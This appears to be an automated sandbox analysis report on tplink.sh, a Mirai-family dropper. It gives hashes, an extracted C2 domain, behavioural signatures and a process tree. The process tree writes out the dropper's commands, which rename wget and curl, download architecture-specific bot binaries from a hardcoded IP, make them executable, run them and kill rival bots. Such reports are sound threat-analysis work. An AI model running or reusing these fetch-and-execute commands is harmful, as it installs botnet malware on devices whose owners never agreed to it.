Analysis
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max time kernel
150s -
max time network
134s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
21-08-2024 17:47
Static task
static1
Behavioral task
behavioral1
Sample
tplink.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
tplink.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
tplink.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
tplink.sh
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Size
827B
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MD5
503a6790064c0d8afb7220d7ff4d559d
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SHA1
c00a805062e7a6274dde96063d42065ba2286085
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SHA256
f495ac84e4181503f0e6e4e21728a0cb82c7e9a3f6e1e54741f6eaf589aea82e
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SHA512
6c7ab7e8cf0b5b07b1c9cae94e4631e3fab493366d80d9946ba75a11897d8dfe658dcd96fd26d04c3b85a87786aa0656293e331a2b436b018547634c0dd45e37
Malware Config
Extracted
mirai
really.idoingitagain.space
Extracted
mirai
really.idoingitagain.space
Extracted
mirai
really.idoingitagain.space
Signatures
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description ioc Process File deleted /var/log/audit/audit.log cyber-mips -
Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File deleted /var/log/syslog cyber-mips -
Executes dropped EXE 24 IoCs
ioc pid Process /tmp/httpd 740 httpd /tmp/httpd 744 httpd /tmp/httpd 749 httpd /tmp/httpd 751 httpd /tmp/httpd 754 httpd /tmp/httpd 757 httpd /tmp/httpd 759 httpd /tmp/httpd 761 httpd /tmp/httpd 763 httpd /tmp/sshd 764 sshd /tmp/cyber-x86 767 cyber-x86 /tmp/sshd 769 sshd /tmp/cyber-sh4 772 cyber-sh4 /tmp/sshd 774 sshd /tmp/cyber-ppc 777 cyber-ppc /tmp/sshd 779 sshd /tmp/cyber-mpsl 782 cyber-mpsl /tmp/sshd 784 sshd /tmp/cyber-mips 788 cyber-mips /tmp/sshd 791 sshd /tmp/sshd 803 sshd /tmp/sshd 818 sshd /tmp/sshd 832 sshd /tmp/sshd 849 sshd -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog cyber-mips File opened for modification /dev/misc/watchdog cyber-mips -
Deletes log files 1 TTPs 1 IoCs
Deletes log files on the system.
description ioc Process File deleted /var/log/daemon.log cyber-mips -
Enumerates running processes
Discovers information about currently running processes on the system
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Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself ssh_s3rv3r 788 cyber-mips -
Reads CPU attributes 1 TTPs 18 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online httpd File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online httpd -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/140/cmdline httpd File opened for reading /proc/6/cmdline httpd File opened for reading /proc/36/status httpd File opened for reading /proc/702/status pkill File opened for reading /proc/19/status httpd File opened for reading /proc/12/cmdline pkill File opened for reading /proc/112/cmdline httpd File opened for reading /proc/6/status httpd File opened for reading /proc/69/status pkill File opened for reading /proc/687/cmdline pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/6/status pkill File opened for reading /proc/163/cmdline httpd File opened for reading /proc/77/cmdline pkill File opened for reading /proc/248/cmdline pkill File opened for reading /proc/343/cmdline pkill File opened for reading /proc/10/status httpd File opened for reading /proc/104/cmdline pkill File opened for reading /proc/390/status httpd File opened for reading /proc/71/cmdline pkill File opened for reading /proc/390/status pkill File opened for reading /proc/146/status pkill File opened for reading /proc/231/cmdline httpd File opened for reading /proc/146/cmdline pkill File opened for reading /proc/16/cmdline httpd File opened for reading /proc/4/status httpd File opened for reading /proc/713/status httpd File opened for reading /proc/8/cmdline pkill File opened for reading /proc/14/cmdline httpd File opened for reading /proc/231/status httpd File opened for reading /proc/151/status pkill File opened for reading /proc/19/status httpd File opened for reading /proc/filesystems pkill File opened for reading /proc/8/status pkill File opened for reading /proc/filesystems httpd File opened for reading /proc/9/status pkill File opened for reading /proc/77/status pkill File opened for reading /proc/335/status httpd File opened for reading /proc/13/cmdline pkill File opened for reading /proc/78/cmdline httpd File opened for reading /proc/23/cmdline pkill File opened for reading /proc/713/status pkill File opened for reading /proc/248/cmdline pkill File opened for reading /proc/379/status httpd File opened for reading /proc/112/status httpd File opened for reading /proc/710/status pkill File opened for reading /proc/7/cmdline httpd File opened for reading /proc/707/status pkill File opened for reading /proc/72/status httpd File opened for reading /proc/36/cmdline pkill File opened for reading /proc/70/cmdline httpd File opened for reading /proc/747/cmdline pkill File opened for reading /proc/14/status httpd File opened for reading /proc/4/cmdline pkill File opened for reading /proc/231/status pkill File opened for reading /proc/21/cmdline pkill File opened for reading /proc/678/status httpd File opened for reading /proc/14/cmdline pkill File opened for reading /proc/5/cmdline httpd File opened for reading /proc/13/status pkill File opened for reading /proc/4/status pkill File opened for reading /proc/12/cmdline pkill File opened for reading /proc/163/cmdline httpd File opened for reading /proc/77/status pkill -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/cyber-arm4 sshd File opened for modification /tmp/httpd cp File opened for modification /tmp/cyber-mpsl sshd File opened for modification /tmp/cyber-m68k sshd File opened for modification /tmp/cyber-arm7 sshd File opened for modification /tmp/telnetd cp File opened for modification /tmp/cyber-sh4 sshd File opened for modification /tmp/cyber-arm6 sshd File opened for modification /tmp/cyber-arm5 sshd File opened for modification /tmp/cyber-ppc sshd File opened for modification /tmp/sshd cp File opened for modification /tmp/cyber-x86 sshd File opened for modification /tmp/cyber-mips sshd
Processes
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/tmp/tplink.sh/tmp/tplink.sh1⤵PID:710
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/bin/cpcp -p /usr/bin/pkill httpd2⤵
- Writes file to tmp directory
PID:715
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/bin/cpcp -p /usr/bin/wget sshd2⤵
- Writes file to tmp directory
PID:719
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/bin/cpcp -p /usr/bin/curl telnetd2⤵
- Writes file to tmp directory
PID:724
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/bin/chmodchmod +x httpd2⤵PID:726
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/bin/chmodchmod 777 httpd2⤵PID:728
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/bin/chmodchmod +x sshd2⤵PID:730
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/bin/chmodchmod 777 sshd2⤵PID:732
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/bin/chmodchmod +x telnetd2⤵PID:734
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/bin/chmodchmod 777 telnetd2⤵PID:736
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/usr/bin/pkillpkill -f bot.x862⤵
- Reads CPU attributes
- Reads runtime system information
PID:738
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/tmp/httpd./httpd -f bot.x862⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:740
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/usr/bin/pkillpkill -f bot.arm42⤵
- Reads CPU attributes
- Reads runtime system information
PID:742
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/tmp/httpd./httpd -f bot.arm42⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:744
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/usr/bin/pkillpkill -f bot.arm52⤵
- Reads CPU attributes
- Reads runtime system information
PID:746
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/tmp/httpd./httpd -f bot.arm52⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:749
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/usr/bin/pkillpkill -f bot.arm62⤵
- Reads CPU attributes
- Reads runtime system information
PID:750
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/tmp/httpd./httpd -f bot.arm62⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:751
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/usr/bin/pkillpkill -f bot.arm72⤵
- Reads CPU attributes
- Reads runtime system information
PID:753
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/tmp/httpd./httpd -f bot.arm72⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:754
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/usr/bin/pkillpkill -f x862⤵
- Reads CPU attributes
- Reads runtime system information
PID:756
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/tmp/httpd./httpd -f x862⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:757
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/usr/bin/pkillpkill -f arm52⤵
- Reads CPU attributes
- Reads runtime system information
PID:758
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/tmp/httpd./httpd -f arm52⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:759
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/usr/bin/pkillpkill -f arm62⤵
- Reads CPU attributes
- Reads runtime system information
PID:760
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/tmp/httpd./httpd -f arm62⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:761
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/usr/bin/pkillpkill -f arm72⤵
- Reads CPU attributes
- Reads runtime system information
PID:762
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/tmp/httpd./httpd -f arm72⤵
- Executes dropped EXE
- Reads CPU attributes
- Reads runtime system information
PID:763
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-x862⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:764
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/bin/chmodchmod 777 cyber-x862⤵PID:765
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/bin/chmodchmod +x cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:766
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/tmp/cyber-x86./cyber-x86 tplink-x862⤵
- Executes dropped EXE
PID:767
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-sh42⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:769
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/bin/chmodchmod 777 cyber-sh42⤵PID:770
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/bin/chmodchmod +x cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:771
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/tmp/cyber-sh4./cyber-sh4 tplink-sh42⤵
- Executes dropped EXE
PID:772
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-ppc2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:774
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/bin/chmodchmod 777 cyber-ppc2⤵PID:775
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/bin/chmodchmod +x cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:776
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/tmp/cyber-ppc./cyber-ppc tplink-ppc2⤵
- Executes dropped EXE
PID:777
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-mpsl2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:779
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/bin/chmodchmod 777 cyber-mpsl2⤵PID:780
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/bin/chmodchmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:781
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/tmp/cyber-mpsl./cyber-mpsl tplink-mpsl2⤵
- Executes dropped EXE
PID:782
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-mips2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:784
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/bin/chmodchmod 777 cyber-mips2⤵PID:785
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:787
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/tmp/cyber-mips./cyber-mips tplink-mips2⤵
- Deletes Audit logs
- Deletes system logs
- Executes dropped EXE
- Modifies Watchdog functionality
- Deletes log files
- Changes its process name
PID:788
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-m68k2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:791
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/bin/chmodchmod 777 cyber-m68k2⤵PID:797
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/bin/chmodchmod +x cyber-m68k2⤵PID:798
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:800
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/tmp/cyber-m68k./cyber-m68k tplink-m68k2⤵PID:801
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-arm72⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:803
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/bin/chmodchmod 777 cyber-arm72⤵PID:811
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/bin/chmodchmod +x cyber-arm72⤵PID:813
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:815
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/tmp/cyber-arm7./cyber-arm7 tplink-arm72⤵PID:816
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-arm62⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:818
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/bin/chmodchmod 777 cyber-arm62⤵PID:826
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/bin/chmodchmod +x cyber-arm62⤵PID:828
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:829
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/tmp/cyber-arm6./cyber-arm6 tplink-arm62⤵PID:830
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-arm52⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:832
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/bin/chmodchmod 777 cyber-arm52⤵PID:842
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/bin/chmodchmod +x cyber-arm52⤵PID:845
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:846
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/tmp/cyber-arm5./cyber-arm5 tplink-arm52⤵PID:848
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/tmp/sshd./sshd http://45.66.231.129/xd_/cyber-arm42⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:849
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/bin/chmodchmod 777 cyber-arm42⤵PID:856
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/bin/chmodchmod +x cyber-arm42⤵PID:857
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/bin/chmodchmod +x cyber-mips cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-d96c66359ccc40d68383a4b82c30a103-systemd-timedated.service-Ng06f7 telnetd tplink.sh2⤵PID:858
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/tmp/cyber-arm4./cyber-arm4 tplink-arm42⤵PID:859
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
95KB
MD5f74e3ea702aac682cea4e7e5c11767df
SHA1fe9c9ada37285e03bd3d3a74b115acf59e55928d
SHA256182c153838ebbc0d5191b7bbf97c993d84456c414fff04dd4b7bfe32f00cbd3b
SHA5127b954686f1b0e16ea73d5ffd6a5626d41d2f5a4c43b91f1270f1d0c55d7e534b7989dc5af2ee81e92c004e916cea7c147a43704e934a12bc6199e6b4dcce1af6
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Filesize
97KB
MD5605c719579681c44f640587ff4dc6db2
SHA1b2d17a8d7dd094a6c2d87f993e130383e94e16de
SHA25634e3196effc44c3fea00cd70a38c3d4ba747255911b6be2a2c9ef09a47168c47
SHA512cb9ff093b9061180d9f6294e80560000fd7fd36b54521ddf5763dc10a399deeaeb0aa0461807b2034562280f8d98a44f41cb7e4368c5ac78a1d8390345840ac7
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Filesize
65KB
MD5cc543d4df9e33766e382e50ebfdad980
SHA18a46b3f78f375cf06b9610be58fafe89c61969b2
SHA25640bcd636db4a86441b44b9c20ce3d759ddef4a18c168945b53df951edf0b3d42
SHA51238ed37e68e99dbb8658dd1f3823e27baef01206b40ec5d0a6a71fd21ff173566b81666a593c8e3a1ccb8c7851bf74bdd11339410200e0508ce69d5ac39352d08
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Filesize
51KB
MD5666096845b3b27722b9d9629ddff12c1
SHA10bed897edd6422c3cfb24b0db44a2c87227e4e6e
SHA256dd38e661acad7a79affb7b8b0abe2eb634bfd04c338afd5f7bd93a34aa16dd31
SHA512229c4c1dda0224b90d6c827c2d63c6a3d90453e5358e38ffaa06c9f3f49d4cfd6e2464a86d69b9a6b06350b003d95a5d7c0312329bb1a51eb9956c12b8052789
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Filesize
61KB
MD53d574d6a4916704b337d76226d205abd
SHA180021cc1fc609bde17db484e58dece6a247ee11d
SHA256df0f2131b26054328c7ae7428b6cc4d05967dfd334126a99d26660335c02eb0d
SHA512e5a843ba13eeb9d83fd0a5b3d34cecfa449e6f9ba77cea1b8867b0fbf91c2d4bbc14f6e8cd27b5550622781b8b29ae0ac952c4ab4e7e4eb5f174a1fd2e24d5a9
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Filesize
26KB
MD5d9addfdd64ccedc9640f9734d8b9a0a7
SHA129f5c2d0a7156c66d85d90db035216b13677c807
SHA256238bd4df1c42427726bcc0f923fa0cffe73c732c38aceab5f73feb056e8da40c
SHA512527cc35790cbd883cd385e15cf44cb65d3ec1998cb709d2e7088d462f609767428edb0efa6e3f1cda6b9f8a9d9abf05db722597b7e864d4c14b6477f053084ba
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Filesize
536KB
MD57bb64131b781b7fe42df16e951677c42
SHA1b975e340d8aa1fade395322a2ce1d84ec8e8fdc3
SHA256fc6db07a0e096020bb4023351df4819d74992e0148c939582ef3f83e73e56b58
SHA512544f0b7ff535ff129be1b51e545a4e991b928d7388f9024f9c33582951980f62171f06cb7f89f03ab080d0f60a3530365ca9b98ff1ad56b984ccf58cfb59aee0
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Filesize
186KB
MD5e045e492b033a4f0e2168aaa509f5fd5
SHA14e2b28d07da66205e6a5875a3579f4c2bd18d4cc
SHA256226c62fcbf25743a88180b10072e6b3c96dc6b08559a96ea0a67cdb94b3d15ca
SHA51222dce34af0f4270709c72d8a7557f15939a72ab73d574f4bb8f295ca7e1907e3a42846a31092c34a147c58aa1a2dd05bb2d0656bdcffbc8a5ee5b6d9e82b0074